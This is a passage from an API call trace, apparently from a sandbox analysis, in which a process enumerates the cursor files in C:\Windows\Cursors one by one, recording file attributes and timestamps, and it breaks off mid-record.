[0125.436] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.437] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68894087, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_rl.cur", cAlternateFileName="")) returned 1 [0125.437] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.437] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_r.cur") returned="arrow_r.cur" [0125.437] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.437] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.437] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4275d6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4275d6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68894087, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow_rm.cur", cAlternateFileName="")) returned 1 [0125.437] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.437] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_rl.cur") returned="arrow_rl.cur" [0125.437] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.437] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.438] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c44d733, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c44d733, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a36f91, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_i.cur", cAlternateFileName="")) returned 1 [0125.438] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.438] PathFindFileNameA (pszPath="C:\\Windows\\Cursors\\arrow_rm.cur") returned="arrow_rm.cur" [0125.438] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Cursors\\" | out: lpString1="C:\\Windows\\Cursors\\") returned="C:\\Windows\\Cursors\\" [0125.438] PathAddBackslashA (in: pszPath="C:\\Windows\\Cursors\\" | out: pszPath="C:\\Windows\\Cursors\\") returned="" [0125.438] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c473890, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c473890, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a5d0ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_il.cur", cAlternateFileName="")) returned 1 [0125.438] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.439] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4999ed, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4999ed, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a8324d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_im.cur", cAlternateFileName="")) returned 1 [0125.439] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.439] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4999ed, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4999ed, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68a8324d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_l.cur", cAlternateFileName="")) returned 1 [0125.439] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.439] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4bfb4a, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4bfb4a, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68aa93ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_m.cur", cAlternateFileName="")) returned 1 [0125.439] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.440] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4bfb4a, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4bfb4a, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68acf509, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_r.cur", cAlternateFileName="")) returned 1 [0125.440] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.440] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4e5ca7, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4e5ca7, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68af5667, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_rl.cur", cAlternateFileName="")) returned 1 [0125.440] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.440] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c4e5ca7, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c4e5ca7, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68b1b7c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="beam_rm.cur", cAlternateFileName="")) returned 1 [0125.440] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.441] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c50be04, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c50be04, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x68b41923, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_i.cur", cAlternateFileName="")) returned 1 [0125.441] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.441] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c50be04, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c50be04, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6909ca5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_il.cur", cAlternateFileName="")) returned 1 [0125.441] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.441] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c531f61, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c531f61, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6909ca5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_im.cur", cAlternateFileName="")) returned 1 [0125.441] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.441] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c531f61, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c531f61, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x690c2bb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_l.cur", cAlternateFileName="")) returned 1 [0125.441] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.441] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5580be, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5580be, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6915b131, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_m.cur", cAlternateFileName="")) returned 1 [0125.442] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.442] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5580be, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5580be, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6915b131, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_r.cur", cAlternateFileName="")) returned 1 [0125.442] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.442] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5580be, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5580be, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6918128f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_rl.cur", cAlternateFileName="")) returned 1 [0125.442] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.442] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c57e21b, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c57e21b, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6923f965, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="busy_rm.cur", cAlternateFileName="")) returned 1 [0125.442] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.442] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c57e21b, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c57e21b, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69265ac3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_i.cur", cAlternateFileName="")) returned 1 [0125.443] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.443] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5a4378, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5a4378, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x695ab8d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_il.cur", cAlternateFileName="")) returned 1 [0125.451] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.452] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5a4378, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5a4378, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x695ab8d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_im.cur", cAlternateFileName="")) returned 1 [0125.452] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.452] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ca4d5, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5ca4d5, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x695f7b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_l.cur", cAlternateFileName="")) returned 1 [0125.452] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.452] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5ca4d5, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5ca4d5, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x695f7b93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_m.cur", cAlternateFileName="")) returned 1 [0125.452] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.452] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c5f0632, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c5f0632, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6961dcf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_r.cur", cAlternateFileName="")) returned 1 [0125.453] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.453] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c61678f, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c61678f, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69643e4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_rl.cur", cAlternateFileName="")) returned 1 [0125.453] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.453] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c61678f, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c61678f, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69669fad, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cross_rm.cur", cAlternateFileName="")) returned 1 [0125.453] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.453] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c63c8ec, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c63c8ec, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6969010b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_i.cur", cAlternateFileName="")) returned 1 [0125.454] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.454] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c662a49, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c662a49, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x696b6269, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_il.cur", cAlternateFileName="")) returned 1 [0125.454] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.454] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c662a49, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c662a49, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69b9ef87, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_im.cur", cAlternateFileName="")) returned 1 [0125.454] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.454] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c688ba6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c688ba6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69bc50e5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_l.cur", cAlternateFileName="")) returned 1 [0125.454] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.455] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c688ba6, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c688ba6, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69bc50e5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_m.cur", cAlternateFileName="")) returned 1 [0125.455] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.455] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6aed03, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c6aed03, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69c5d65d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_r.cur", cAlternateFileName="")) returned 1 [0125.455] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.455] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6d4e60, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c6d4e60, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69c837bb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_rl.cur", cAlternateFileName="")) returned 1 [0125.455] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.455] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6d4e60, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c6d4e60, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69c837bb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="help_rm.cur", cAlternateFileName="")) returned 1 [0125.456] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.456] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, 